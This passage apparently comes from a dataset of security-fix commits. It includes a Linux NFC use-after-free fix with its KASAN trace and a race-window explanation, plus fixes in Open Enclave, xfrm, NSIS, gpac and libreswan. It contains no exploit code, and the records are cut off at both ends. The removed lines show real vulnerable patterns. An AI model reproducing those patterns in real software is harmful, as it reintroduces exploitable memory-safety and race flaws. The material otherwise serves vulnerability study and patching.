kasan_save_stack+0x22/0x50 mm/kasan/common.c:45\n kasan_set_track+0x25/0x30 mm/kasan/common.c:52\n kasan_save_free_info+0x2e/0x50 mm/kasan/generic.c:521\n ____kasan_slab_free mm/kasan/common.c:236 [inline]\n ____kasan_slab_free mm/kasan/common.c:200 [inline]\n __kasan_slab_free+0x10a/0x190 mm/kasan/common.c:244\n kasan_slab_free include/linux/kasan.h:162 [inline]\n slab_free_hook mm/slub.c:1781 [inline]\n slab_free_freelist_hook mm/slub.c:1807 [inline]\n slab_free mm/slub.c:3787 [inline]\n __kmem_cache_free+0x7a/0x190 mm/slub.c:3800\n local_release net/nfc/llcp_core.c:174 [inline]\n kref_put include/linux/kref.h:65 [inline]\n nfc_llcp_local_put net/nfc/llcp_core.c:182 [inline]\n nfc_llcp_local_put net/nfc/llcp_core.c:177 [inline]\n nfc_llcp_unregister_device+0x206/0x290 net/nfc/llcp_core.c:1620\n nfc_unregister_device+0x160/0x1d0 net/nfc/core.c:1179\n virtual_ncidev_close+0x52/0xa0 drivers/nfc/virtual_ncidev.c:163\n __fput+0x252/0xa20 fs/file_table.c:321\n task_work_run+0x174/0x270 kernel/task_work.c:179\n resume_user_mode_work include/linux/resume_user_mode.h:49 [inline]\n exit_to_user_mode_loop kernel/entry/common.c:171 [inline]\n exit_to_user_mode_prepare+0x108/0x110 kernel/entry/common.c:204\n __syscall_exit_to_user_mode_work kernel/entry/common.c:286 [inline]\n syscall_exit_to_user_mode+0x21/0x50 kernel/entry/common.c:297\n do_syscall_64+0x4c/0x90 arch/x86/entry/common.c:86\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nLast potentially related work creation:\n kasan_save_stack+0x22/0x50 mm/kasan/common.c:45\n __kasan_record_aux_stack+0x95/0xb0 mm/kasan/generic.c:491\n kvfree_call_rcu+0x29/0xa80 kernel/rcu/tree.c:3328\n drop_sysctl_table+0x3be/0x4e0 fs/proc/proc_sysctl.c:1735\n unregister_sysctl_table.part.0+0x9c/0x190 fs/proc/proc_sysctl.c:1773\n unregister_sysctl_table+0x24/0x30 fs/proc/proc_sysctl.c:1753\n neigh_sysctl_unregister+0x5f/0x80 net/core/neighbour.c:3895\n addrconf_notify+0x140/0x17b0 net/ipv6/addrconf.c:3684\n notifier_call_chain+0xbe/0x210 kernel/notifier.c:87\n call_netdevice_notifiers_info+0xb5/0x150 net/core/dev.c:1937\n call_netdevice_notifiers_extack net/core/dev.c:1975 [inline]\n call_netdevice_notifiers net/core/dev.c:1989 [inline]\n dev_change_name+0x3c3/0x870 net/core/dev.c:1211\n dev_ifsioc+0x800/0xf70 net/core/dev_ioctl.c:376\n dev_ioctl+0x3d9/0xf80 net/core/dev_ioctl.c:542\n sock_do_ioctl+0x160/0x260 net/socket.c:1213\n sock_ioctl+0x3f9/0x670 net/socket.c:1316\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:870 [inline]\n __se_sys_ioctl fs/ioctl.c:856 [inline]\n __x64_sys_ioctl+0x19e/0x210 fs/ioctl.c:856\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x3f/0x90 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nThe buggy address belongs to the object at ffff888105b0e400\n which belongs to the cache kmalloc-1k of size 1024\nThe buggy address is located 16 bytes inside of\n freed 1024-byte region [ffff888105b0e400, ffff888105b0e800)\n\nThe buggy address belongs to the physical page:\nhead:ffffea000416c200 order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0\nflags: 0x200000000010200(slab|head|node=0|zone=2)\nraw: 0200000000010200 ffff8881000430c0 ffffea00044c7010 ffffea0004510e10\nraw: 0000000000000000 00000000000a000a 00000001ffffffff 0000000000000000\npage dumped because: kasan: bad access detected\n\nMemory state around the buggy address:\n ffff888105b0e300: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n ffff888105b0e380: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n>ffff888105b0e400: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ^\n ffff888105b0e480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ffff888105b0e500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n\nIn summary, this patch solves those use-after-free by\n\n1. Re-implement the nfc_llcp_find_local(). The current version does not\ngrab the reference when getting the local from the linked list. For\nexample, the llcp_sock_bind() gets the reference like below:\n\n// llcp_sock_bind()\n\n local = nfc_llcp_find_local(dev); // A\n ..... \\\n | raceable\n ..... /\n llcp_sock->local = nfc_llcp_local_get(local); // B\n\nThere is an apparent race window that one can drop the reference\nand free the local object fetched in (A) before (B) gets the reference.\n\n2. Some callers of the nfc_llcp_find_local() do not grab the reference\nat all. For example, the nfc_genl_llc_{{get/set}_params/sdreq} functions.\nWe add the nfc_llcp_local_put() for them. Moreover, we add the necessary\nerror handling function to put the reference.\n\n3. Add the nfc_llcp_remove_local() helper. The local object is removed\nfrom the linked list in local_release() when all reference is gone. This\npatch removes it when nfc_llcp_unregister_device() is called.\n\nTherefore, every caller of nfc_llcp_find_local() will get a reference\neven when the nfc_llcp_unregister_device() is called. This promises no\nuse-after-free for the local object is ever possible.\n\nFixes: 52feb444a903 (\"NFC: Extend netlink interface for LTO, RW, and MIUX parameters support\")\nFixes: c7aa12252f51 (\"NFC: Take a reference on the LLCP local pointer when creating a socket\")\nSigned-off-by: Lin Ma \nReviewed-by: Simon Horman \nSigned-off-by: David S. Miller ", "patch": "@@ -1039,11 +1039,14 @@ static int nfc_genl_llc_get_params(struct sk_buff *skb, struct genl_info *info)\n \tmsg = nlmsg_new(NLMSG_DEFAULT_SIZE, GFP_KERNEL);\n \tif (!msg) {\n \t\trc = -ENOMEM;\n-\t\tgoto exit;\n+\t\tgoto put_local;\n \t}\n \n \trc = nfc_genl_send_params(msg, local, info->snd_portid, info->snd_seq);\n \n+put_local:\n+\tnfc_llcp_local_put(local);\n+\n exit:\n \tdevice_unlock(&dev->dev);\n \n@@ -1105,7 +1108,7 @@ static int nfc_genl_llc_set_params(struct sk_buff *skb, struct genl_info *info)\n \tif (info->attrs[NFC_ATTR_LLC_PARAM_LTO]) {\n \t\tif (dev->dep_link_up) {\n \t\t\trc = -EINPROGRESS;\n-\t\t\tgoto exit;\n+\t\t\tgoto put_local;\n \t\t}\n \n \t\tlocal->lto = nla_get_u8(info->attrs[NFC_ATTR_LLC_PARAM_LTO]);\n@@ -1117,6 +1120,9 @@ static int nfc_genl_llc_set_params(struct sk_buff *skb, struct genl_info *info)\n \tif (info->attrs[NFC_ATTR_LLC_PARAM_MIUX])\n \t\tlocal->miux = cpu_to_be16(miux);\n \n+put_local:\n+\tnfc_llcp_local_put(local);\n+\n exit:\n \tdevice_unlock(&dev->dev);\n \n@@ -1172,7 +1178,7 @@ static int nfc_genl_llc_sdreq(struct sk_buff *skb, struct genl_info *info)\n \n \t\tif (rc != 0) {\n \t\t\trc = -EINVAL;\n-\t\t\tgoto exit;\n+\t\t\tgoto put_local;\n \t\t}\n \n \t\tif (!sdp_attrs[NFC_SDP_ATTR_URI])\n@@ -1191,7 +1197,7 @@ static int nfc_genl_llc_sdreq(struct sk_buff *skb, struct genl_info *info)\n \t\tsdreq = nfc_llcp_build_sdreq_tlv(tid, uri, uri_len);\n \t\tif (sdreq == NULL) {\n \t\t\trc = -ENOMEM;\n-\t\t\tgoto exit;\n+\t\t\tgoto put_local;\n \t\t}\n \n \t\ttlvs_len += sdreq->tlv_len;\n@@ -1201,10 +1207,14 @@ static int nfc_genl_llc_sdreq(struct sk_buff *skb, struct genl_info *info)\n \n \tif (hlist_empty(&sdreq_list)) {\n \t\trc = -EINVAL;\n-\t\tgoto exit;\n+\t\tgoto put_local;\n \t}\n \n \trc = nfc_llcp_send_snl_sdreq(local, &sdreq_list, tlvs_len);\n+\n+put_local:\n+\tnfc_llcp_local_put(local);\n+\n exit:\n \tdevice_unlock(&dev->dev);\n ", "sections": [{"section": "@@ -1039,11 +1039,14 @@ static int nfc_genl_llc_get_params(struct sk_buff *skb, struct genl_info *info)\n \tmsg = nlmsg_new(NLMSG_DEFAULT_SIZE, GFP_KERNEL);\n \tif (!msg) {\n \t\trc = -ENOMEM;\n-\t\tgoto exit;\n+\t\tgoto put_local;\n \t}\n \n \trc = nfc_genl_send_params(msg, local, info->snd_portid, info->snd_seq);\n \n+put_local:\n+\tnfc_llcp_local_put(local);\n+\n exit:\n \tdevice_unlock(&dev->dev);\n \n", "related": false}, {"section": "@@ -1105,7 +1108,7 @@ static int nfc_genl_llc_set_params(struct sk_buff *skb, struct genl_info *info)\n \tif (info->attrs[NFC_ATTR_LLC_PARAM_LTO]) {\n \t\tif (dev->dep_link_up) {\n \t\t\trc = -EINPROGRESS;\n-\t\t\tgoto exit;\n+\t\t\tgoto put_local;\n \t\t}\n \n \t\tlocal->lto = nla_get_u8(info->attrs[NFC_ATTR_LLC_PARAM_LTO]);\n", "related": false}, {"section": "@@ -1117,6 +1120,9 @@ static int nfc_genl_llc_set_params(struct sk_buff *skb, struct genl_info *info)\n \tif (info->attrs[NFC_ATTR_LLC_PARAM_MIUX])\n \t\tlocal->miux = cpu_to_be16(miux);\n \n+put_local:\n+\tnfc_llcp_local_put(local);\n+\n exit:\n \tdevice_unlock(&dev->dev);\n \n", "related": false}, {"section": "@@ -1172,7 +1178,7 @@ static int nfc_genl_llc_sdreq(struct sk_buff *skb, struct genl_info *info)\n \n \t\tif (rc != 0) {\n \t\t\trc = -EINVAL;\n-\t\t\tgoto exit;\n+\t\t\tgoto put_local;\n \t\t}\n \n \t\tif (!sdp_attrs[NFC_SDP_ATTR_URI])\n", "related": false}, {"section": "@@ -1191,7 +1197,7 @@ static int nfc_genl_llc_sdreq(struct sk_buff *skb, struct genl_info *info)\n \t\tsdreq = nfc_llcp_build_sdreq_tlv(tid, uri, uri_len);\n \t\tif (sdreq == NULL) {\n \t\t\trc = -ENOMEM;\n-\t\t\tgoto exit;\n+\t\t\tgoto put_local;\n \t\t}\n \n \t\ttlvs_len += sdreq->tlv_len;\n", "related": false}, {"section": "@@ -1201,10 +1207,14 @@ static int nfc_genl_llc_sdreq(struct sk_buff *skb, struct genl_info *info)\n \n \tif (hlist_empty(&sdreq_list)) {\n \t\trc = -EINVAL;\n-\t\tgoto exit;\n+\t\tgoto put_local;\n \t}\n \n \trc = nfc_llcp_send_snl_sdreq(local, &sdreq_list, tlvs_len);\n+\n+put_local:\n+\tnfc_llcp_local_put(local);\n+\n exit:\n \tdevice_unlock(&dev->dev);\n ", "related": false}]} +{"owner": "openenclave", "repo": "openenclave", "language": "C", "file_name": "enclave/core/sgx/calls.c", "commit_id": "ca54623333875b9beaad92c999a92b015c44b079", "commit_message": "Security fix for AC flag poisoning and MCDT\n\nThis PR does the following\n- Ensuring the AC flag along with other system/control flags are always cleared upon enclave enter\n- Update the inital MXCSR value to 0x1FBF and put lfence after MXCSR load (via LDMXCSR, XRSTOR, or FXRSTOR)\n for the MCDT mitigation\n\nSigned-off-by: Ming-Wei Shih ", "patch": "@@ -641,15 +641,17 @@ OE_INLINE void _handle_oret(\n td->oret_arg = arg;\n \n /* Restore the FXSTATE and flags */\n- asm volatile(\"pushq %[rflags] \\n\\t\" // Restore flags.\n- \"popfq \\n\\t\"\n- \"fldcw %[fcw] \\n\\t\" // Restore x87 control word\n- \"ldmxcsr %[mxcsr] \\n\\t\" // Restore MXCSR\n- : [mxcsr] \"=m\"(callsite->mxcsr),\n- [fcw] \"=m\"(callsite->fcw),\n- [rflags] \"=m\"(callsite->rflags)\n- :\n- : \"cc\");\n+ asm volatile(\n+ \"pushq %[rflags] \\n\\t\" // Restore flags.\n+ \"popfq \\n\\t\"\n+ \"fldcw %[fcw] \\n\\t\" // Restore x87 control word\n+ \"ldmxcsr %[mxcsr] \\n\\t\" // Restore MXCSR\n+ \"lfence \\n\\t\" // MXCSR Configuration Dependent Timing (MCDT) mitigation\n+ : [mxcsr] \"=m\"(callsite->mxcsr),\n+ [fcw] \"=m\"(callsite->fcw),\n+ [rflags] \"=m\"(callsite->rflags)\n+ :\n+ : \"cc\");\n \n oe_longjmp(&callsite->jmpbuf, 1);\n }", "sections": [{"section": "@@ -641,15 +641,17 @@ OE_INLINE void _handle_oret(\n td->oret_arg = arg;\n \n /* Restore the FXSTATE and flags */\n- asm volatile(\"pushq %[rflags] \\n\\t\" // Restore flags.\n- \"popfq \\n\\t\"\n- \"fldcw %[fcw] \\n\\t\" // Restore x87 control word\n- \"ldmxcsr %[mxcsr] \\n\\t\" // Restore MXCSR\n- : [mxcsr] \"=m\"(callsite->mxcsr),\n- [fcw] \"=m\"(callsite->fcw),\n- [rflags] \"=m\"(callsite->rflags)\n- :\n- : \"cc\");\n+ asm volatile(\n+ \"pushq %[rflags] \\n\\t\" // Restore flags.\n+ \"popfq \\n\\t\"\n+ \"fldcw %[fcw] \\n\\t\" // Restore x87 control word\n+ \"ldmxcsr %[mxcsr] \\n\\t\" // Restore MXCSR\n+ \"lfence \\n\\t\" // MXCSR Configuration Dependent Timing (MCDT) mitigation\n+ : [mxcsr] \"=m\"(callsite->mxcsr),\n+ [fcw] \"=m\"(callsite->fcw),\n+ [rflags] \"=m\"(callsite->rflags)\n+ :\n+ : \"cc\");\n \n oe_longjmp(&callsite->jmpbuf, 1);\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/xfrm/xfrm_user.c", "commit_id": "1ba5bf993c6a3142e18e68ea6452b347f9cb5635", "commit_message": "xfrm: fix crash in XFRM_MSG_GETSA netlink handler\n\nIf we hit any of the error conditions inside xfrm_dump_sa(), then\nxfrm_state_walk_init() never gets called. However, we still call\nxfrm_state_walk_done() from xfrm_dump_sa_done(), which will crash\nbecause the state walk was never initialized properly.\n\nWe can fix this by setting cb->args[0] only after we've processed the\nfirst element and checking this before calling xfrm_state_walk_done().\n\nFixes: d3623099d3 (\"ipsec: add support of limited SA dump\")\nCc: Nicolas Dichtel \nCc: Steffen Klassert \nSigned-off-by: Vegard Nossum \nAcked-by: Nicolas Dichtel \nSigned-off-by: Steffen Klassert ", "patch": "@@ -896,7 +896,8 @@ static int xfrm_dump_sa_done(struct netlink_callback *cb)\n \tstruct sock *sk = cb->skb->sk;\n \tstruct net *net = sock_net(sk);\n \n-\txfrm_state_walk_done(walk, net);\n+\tif (cb->args[0])\n+\t\txfrm_state_walk_done(walk, net);\n \treturn 0;\n }\n \n@@ -921,8 +922,6 @@ static int xfrm_dump_sa(struct sk_buff *skb, struct netlink_callback *cb)\n \t\tu8 proto = 0;\n \t\tint err;\n \n-\t\tcb->args[0] = 1;\n-\n \t\terr = nlmsg_parse(cb->nlh, 0, attrs, XFRMA_MAX,\n \t\t\t\t xfrma_policy);\n \t\tif (err < 0)\n@@ -939,6 +938,7 @@ static int xfrm_dump_sa(struct sk_buff *skb, struct netlink_callback *cb)\n \t\t\tproto = nla_get_u8(attrs[XFRMA_PROTO]);\n \n \t\txfrm_state_walk_init(walk, proto, filter);\n+\t\tcb->args[0] = 1;\n \t}\n \n \t(void) xfrm_state_walk(net, walk, dump_one_state, &info);", "sections": [{"section": "@@ -896,7 +896,8 @@ static int xfrm_dump_sa_done(struct netlink_callback *cb)\n \tstruct sock *sk = cb->skb->sk;\n \tstruct net *net = sock_net(sk);\n \n-\txfrm_state_walk_done(walk, net);\n+\tif (cb->args[0])\n+\t\txfrm_state_walk_done(walk, net);\n \treturn 0;\n }\n \n", "related": false}, {"section": "@@ -921,8 +922,6 @@ static int xfrm_dump_sa(struct sk_buff *skb, struct netlink_callback *cb)\n \t\tu8 proto = 0;\n \t\tint err;\n \n-\t\tcb->args[0] = 1;\n-\n \t\terr = nlmsg_parse(cb->nlh, 0, attrs, XFRMA_MAX,\n \t\t\t\t xfrma_policy);\n \t\tif (err < 0)\n", "related": false}, {"section": "@@ -939,6 +938,7 @@ static int xfrm_dump_sa(struct sk_buff *skb, struct netlink_callback *cb)\n \t\t\tproto = nla_get_u8(attrs[XFRMA_PROTO]);\n \n \t\txfrm_state_walk_init(walk, proto, filter);\n+\t\tcb->args[0] = 1;\n \t}\n \n \t(void) xfrm_state_walk(net, walk, dump_one_state, &info);", "related": false}]} +{"owner": "kichik", "repo": "nsis", "language": "C", "file_name": "Source/exehead/Main.c", "commit_id": "281e2851fe669d10e0650fc89d0e7fb74a598967", "commit_message": "Use isolated uninstaller temp directory\n\n\ngit-svn-id: https://svn.code.sf.net/p/nsis/code/NSIS/trunk@7388 212acab6-be3b-0410-9dea-997c60f758d6", "patch": "@@ -348,60 +348,69 @@ EXTERN_C void NSISWinMainNOCRT()\n }\n else\n {\n- int x, admin = UserIsAdminGrpMember();\n-\n- mystrcat(state_temp_dir,_T(\"~nsu\"));\n- if (admin) mystrcat(state_temp_dir,_T(\"A\")); // Don't lock down the directory used by non-admins\n- mystrcat(state_temp_dir,_T(\".tmp\"));\n-\n- // check if already running from uninstaller temp dir\n- // this prevents recursive uninstaller calls\n- if (!lstrcmpi(state_temp_dir,state_exe_directory))\n- goto end;\n-\n- admin ? CreateRestrictedDirectory(state_temp_dir) : CreateNormalDirectory(state_temp_dir);\n- SetCurrentDirectory(state_temp_dir);\n-\n- if (!(*state_install_directory))\n- mystrcpy(state_install_directory,state_exe_directory);\n+ int admin = UserIsAdminGrpMember();\n+ WORD tries; // 0xfffe attempts or bust\n+ size_t cchtmpslash = mystrlen(state_temp_dir);\n+ LPTSTR unexe = g_usrvars[5], unexecmd = g_usrvars[6];\n \n mystrcpy(g_usrvars[0], realcmds);\n- SET2CHAR(g_usrvars[1], _T(\"A\\0\"));\n-\n- for (x = 0; x < 26; x ++)\n+ if (!(*state_install_directory))\n {\n- static TCHAR buf2[NSIS_MAX_STRLEN];\n-\n- GetNSISString(buf2,g_header->str_uninstchild); // $TEMP\\Un_$1.exe\n+ mystrcpy(state_install_directory, state_exe_directory);\n+ }\n \n- DeleteFile(buf2); // clean up after all the other ones if they are there\n+ for (tries = 0; ++tries != 0;)\n+ {\n+ DWORD retry = 0, ec;\n+retry_un_dir:\n+ wsprintf(state_temp_dir + cchtmpslash, _T(\"~nsu%X.tmp\"), tries);\n+ GetNSISString(unexe, g_header->str_uninstchild); // '$TEMP\\Un.exe'\n+ if (admin)\n+ {\n+ ec = CreateRestrictedDirectory(state_temp_dir);\n+ }\n+ else\n+ {\n+ ec = CreateNormalDirectory(state_temp_dir);\n+ }\n \n- if (m_Err) // not done yet\n+ if (ec)\n {\n- // copy file\n- if (CopyFile(state_exe_path,buf2,TRUE))\n+ // Delete previous uninstaller\n+ if (DeleteFile(unexe))\n+ {\n+ myDelete(state_temp_dir, DEL_DIR|DEL_RECURSE);\n+ if (!retry++) goto retry_un_dir;\n+ }\n+ }\n+ else\n+ {\n+ HANDLE hProc;\n+ SetCurrentDirectory(state_temp_dir);\n+#ifdef NSIS_SUPPORT_MOVEONREBOOT\n+ MoveFileOnReboot(state_temp_dir, NULL);\n+#endif\n+ if (CopyFile(state_exe_path, unexe, TRUE))\n {\n- HANDLE hProc;\n #ifdef NSIS_SUPPORT_MOVEONREBOOT\n- MoveFileOnReboot(buf2,NULL);\n+ MoveFileOnReboot(unexe, NULL);\n #endif\n- GetNSISString(buf2,g_header->str_uninstcmd); // '\"$TEMP\\Un_$1.exe\" $0 _?=$INSTDIR\\'\n- hProc=myCreateProcess(buf2);\n+ GetNSISString(unexecmd, g_header->str_uninstcmd); // '\"$TEMP\\Un.exe\" $0 _?=$INSTDIR\\'\n+ hProc = myCreateProcess(unexecmd);\n if (hProc)\n {\n CloseHandle(hProc);\n- // success\n- m_Err = 0;\n+ m_Err = 0; // Success\n+ }\n+ else if (!retry++ && !file_exists(unexe))\n+ {\n+ // Another instance deleted us between CopyFile and CreateProcess\n+ goto retry_un_dir;\n }\n }\n+ break; // We called CreateProcess; success or failure, we are done.\n }\n- (*(((NSIS_STRING *)g_usrvars)[1]))++;\n }\n-\n-#ifdef NSIS_SUPPORT_MOVEONREBOOT\n- MoveFileOnReboot(state_temp_dir,NULL);\n-#endif\n-\n goto end;\n }\n }", "sections": [{"section": "@@ -348,60 +348,69 @@ EXTERN_C void NSISWinMainNOCRT()\n }\n else\n {\n- int x, admin = UserIsAdminGrpMember();\n-\n- mystrcat(state_temp_dir,_T(\"~nsu\"));\n- if (admin) mystrcat(state_temp_dir,_T(\"A\")); // Don't lock down the directory used by non-admins\n- mystrcat(state_temp_dir,_T(\".tmp\"));\n-\n- // check if already running from uninstaller temp dir\n- // this prevents recursive uninstaller calls\n- if (!lstrcmpi(state_temp_dir,state_exe_directory))\n- goto end;\n-\n- admin ? CreateRestrictedDirectory(state_temp_dir) : CreateNormalDirectory(state_temp_dir);\n- SetCurrentDirectory(state_temp_dir);\n-\n- if (!(*state_install_directory))\n- mystrcpy(state_install_directory,state_exe_directory);\n+ int admin = UserIsAdminGrpMember();\n+ WORD tries; // 0xfffe attempts or bust\n+ size_t cchtmpslash = mystrlen(state_temp_dir);\n+ LPTSTR unexe = g_usrvars[5], unexecmd = g_usrvars[6];\n \n mystrcpy(g_usrvars[0], realcmds);\n- SET2CHAR(g_usrvars[1], _T(\"A\\0\"));\n-\n- for (x = 0; x < 26; x ++)\n+ if (!(*state_install_directory))\n {\n- static TCHAR buf2[NSIS_MAX_STRLEN];\n-\n- GetNSISString(buf2,g_header->str_uninstchild); // $TEMP\\Un_$1.exe\n+ mystrcpy(state_install_directory, state_exe_directory);\n+ }\n \n- DeleteFile(buf2); // clean up after all the other ones if they are there\n+ for (tries = 0; ++tries != 0;)\n+ {\n+ DWORD retry = 0, ec;\n+retry_un_dir:\n+ wsprintf(state_temp_dir + cchtmpslash, _T(\"~nsu%X.tmp\"), tries);\n+ GetNSISString(unexe, g_header->str_uninstchild); // '$TEMP\\Un.exe'\n+ if (admin)\n+ {\n+ ec = CreateRestrictedDirectory(state_temp_dir);\n+ }\n+ else\n+ {\n+ ec = CreateNormalDirectory(state_temp_dir);\n+ }\n \n- if (m_Err) // not done yet\n+ if (ec)\n {\n- // copy file\n- if (CopyFile(state_exe_path,buf2,TRUE))\n+ // Delete previous uninstaller\n+ if (DeleteFile(unexe))\n+ {\n+ myDelete(state_temp_dir, DEL_DIR|DEL_RECURSE);\n+ if (!retry++) goto retry_un_dir;\n+ }\n+ }\n+ else\n+ {\n+ HANDLE hProc;\n+ SetCurrentDirectory(state_temp_dir);\n+#ifdef NSIS_SUPPORT_MOVEONREBOOT\n+ MoveFileOnReboot(state_temp_dir, NULL);\n+#endif\n+ if (CopyFile(state_exe_path, unexe, TRUE))\n {\n- HANDLE hProc;\n #ifdef NSIS_SUPPORT_MOVEONREBOOT\n- MoveFileOnReboot(buf2,NULL);\n+ MoveFileOnReboot(unexe, NULL);\n #endif\n- GetNSISString(buf2,g_header->str_uninstcmd); // '\"$TEMP\\Un_$1.exe\" $0 _?=$INSTDIR\\'\n- hProc=myCreateProcess(buf2);\n+ GetNSISString(unexecmd, g_header->str_uninstcmd); // '\"$TEMP\\Un.exe\" $0 _?=$INSTDIR\\'\n+ hProc = myCreateProcess(unexecmd);\n if (hProc)\n {\n CloseHandle(hProc);\n- // success\n- m_Err = 0;\n+ m_Err = 0; // Success\n+ }\n+ else if (!retry++ && !file_exists(unexe))\n+ {\n+ // Another instance deleted us between CopyFile and CreateProcess\n+ goto retry_un_dir;\n }\n }\n+ break; // We called CreateProcess; success or failure, we are done.\n }\n- (*(((NSIS_STRING *)g_usrvars)[1]))++;\n }\n-\n-#ifdef NSIS_SUPPORT_MOVEONREBOOT\n- MoveFileOnReboot(state_temp_dir,NULL);\n-#endif\n-\n goto end;\n }\n }", "related": false}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "src/filters/dmx_avi.c", "commit_id": "4607052c482a51dbdacfe1ade10645c181d07b07", "commit_message": "fixed #2576", "patch": "@@ -81,6 +81,7 @@ static void avidmx_setup(GF_Filter *filter, GF_AVIDmxCtx *ctx)\n \tif (ctx->use_file_fps) {\n \t\tDouble fps = AVI_frame_rate(ctx->avi);\n \t\tgf_media_get_video_timing(fps, &ctx->fps.num, &ctx->fps.den);\n+\t\tif (!ctx->fps.num) ctx->fps.num = ctx->fps.den = 1000;\n \t}\n \n \tdur.den = ctx->fps.num;", "sections": [{"section": "@@ -81,6 +81,7 @@ static void avidmx_setup(GF_Filter *filter, GF_AVIDmxCtx *ctx)\n \tif (ctx->use_file_fps) {\n \t\tDouble fps = AVI_frame_rate(ctx->avi);\n \t\tgf_media_get_video_timing(fps, &ctx->fps.num, &ctx->fps.den);\n+\t\tif (!ctx->fps.num) ctx->fps.num = ctx->fps.den = 1000;\n \t}\n \n \tdur.den = ctx->fps.num;", "related": false}]} +{"owner": "libreswan", "repo": "libreswan", "language": "C", "file_name": "programs/pluto/ikev1.c", "commit_id": "b2184520b314c4f3cbbf7f2cfd824be7f83b4929", "commit_message": "ikev1: merge accept_self_delete() into accept_delete()\n\nIf accept_delete() determins that the current ISAKMP SA was deleted\nreturn immediately (do not process notifies or other delete messages)", "patch": "@@ -1794,7 +1794,6 @@ void process_packet_tail(struct msg_digest *md)\n \tconst struct state_v1_microcode *smc = md->smc;\n \tenum state_kind from_state = smc->state;\n \tbool new_iv_set = md->new_iv_set;\n-\tbool self_delete = false;\n \n \tif (md->hdr.isa_flags & ISAKMP_FLAGS_v1_ENCRYPTION) {\n \n@@ -2269,38 +2268,40 @@ void process_packet_tail(struct msg_digest *md)\n \t\t}\n \t}\n \n+\tpexpect(st == md->v1_st); /* could be NULL */\n+\n \tfor (struct payload_digest *p = md->chain[ISAKMP_NEXT_D];\n \t p != NULL; p = p->next) {\n-\t\tself_delete |= accept_delete(md, p);\n-\t\tif (DBGP(DBG_BASE)) {\n-\t\t\tDBG_dump(\"del:\", p->pbs.cur,\n-\t\t\t\t pbs_left(&p->pbs));\n+\t\tif (!accept_delete(&st, md, p)) {\n+\t\t\tldbg(md->md_logger, \"bailing with bad delete message\");\n+\t\t\treturn;\n \t\t}\n-\t\tif (md->v1_st != st) {\n-\t\t\tpexpect(md->v1_st == NULL);\n-\t\t\tdbg(\"zapping ST as accept_delete() zapped MD.ST\");\n-\t\t\tst = md->v1_st;\n+\t\tif (st == NULL) {\n+\t\t\tldbg(md->md_logger, \"bailing due to self-inflicted delete\");\n+\t\t\treturn;\n \t\t}\n \t}\n \n+\tpexpect(st == md->v1_st); /* could be NULL */\n+\n \tfor (struct payload_digest *p = md->chain[ISAKMP_NEXT_VID];\n \t p != NULL; p = p->next) {\n \t\thandle_v1_vendorid(md, pbs_in_left_as_shunk(&p->pbs),\n \t\t\t\t (st != NULL ? st->st_logger : md->md_logger));\n \t}\n \n-\tif (self_delete) {\n-\t\taccept_self_delete(md);\n-\t\tst = md->v1_st;\n-\t\t/* note: st ought to be NULL from here on */\n-\t}\n+\tpexpect(st == md->v1_st); /* could be NULL */\n \n-\tpexpect(st == md->v1_st);\n-\tstatetime_t start = statetime_start(md->v1_st);\n \t/*\n-\t * XXX: danger - the .informational() processor deletes ST;\n-\t * and then tunnels this loss through MD.ST.\n+\t * XXX: Danger.\n+\t *\n+\t * ++ the .informational() processor deletes ST; and then\n+\t * tries to tunnel this loss back through MD.ST.\n+\t *\n+\t * ++ the .aggressive() processor replaces .V1_ST with the IKE\n+\t * SA?\n \t */\n+\tstatetime_t start = statetime_start(st);\n \tstf_status e = smc->processor(st, md);\n \tcomplete_v1_state_transition(md->v1_st, md, e);\n \tstatetime_stop(&start, \"%s()\", __func__);", "sections": [{"section": "@@ -1794,7 +1794,6 @@ void process_packet_tail(struct msg_digest *md)\n \tconst struct state_v1_microcode *smc = md->smc;\n \tenum state_kind from_state = smc->state;\n \tbool new_iv_set = md->new_iv_set;\n-\tbool self_delete = false;\n \n \tif (md->hdr.isa_flags & ISAKMP_FLAGS_v1_ENCRYPTION) {\n \n", "related": false}, {"section": "@@ -2269,38 +2268,40 @@ void process_packet_tail(struct msg_digest *md)\n \t\t}\n \t}\n \n+\tpexpect(st == md->v1_st); /* could be NULL */\n+\n \tfor (struct payload_digest *p = md->chain[ISAKMP_NEXT_D];\n \t p != NULL; p = p->next) {\n-\t\tself_delete |= accept_delete(md, p);\n-\t\tif (DBGP(DBG_BASE)) {\n-\t\t\tDBG_dump(\"del:\", p->pbs.cur,\n-\t\t\t\t pbs_left(&p->pbs));\n+\t\tif (!accept_delete(&st, md, p)) {\n+\t\t\tldbg(md->md_logger, \"bailing with bad delete message\");\n+\t\t\treturn;\n \t\t}\n-\t\tif (md->v1_st != st) {\n-\t\t\tpexpect(md->v1_st == NULL);\n-\t\t\tdbg(\"zapping ST as accept_delete() zapped MD.ST\");\n-\t\t\tst = md->v1_st;\n+\t\tif (st == NULL) {\n+\t\t\tldbg(md->md_logger, \"bailing due to self-inflicted delete\");\n+\t\t\treturn;\n \t\t}\n \t}\n \n+\tpexpect(st == md->v1_st); /* could be NULL */\n+\n \tfor (struct payload_digest *p = md->chain[ISAKMP_NEXT_VID];\n \t p != NULL; p = p->next) {\n \t\thandle_v1_vendorid(md, pbs_in_left_as_shunk(&p->pbs),\n \t\t\t\t (st != NULL ? st->st_logger : md->md_logger));\n \t}\n \n-\tif (self_delete) {\n-\t\taccept_self_delete(md);\n-\t\tst = md->v1_st;\n-\t\t/* note: st ought to be NULL from here on */\n-\t}\n+\tpexpect(st == md->v1_st); /* could be NULL */\n \n-\tpexpect(st == md->v1_st);\n-\tstatetime_t start = statetime_start(md->v1_st);\n \t/*\n-\t * XXX: danger - the .informational() processor deletes ST;\n-\t * and then tunnels this loss through MD.ST.\n+\t * XXX: Danger.\n+\t *\n+\t * ++ the .informational() processor 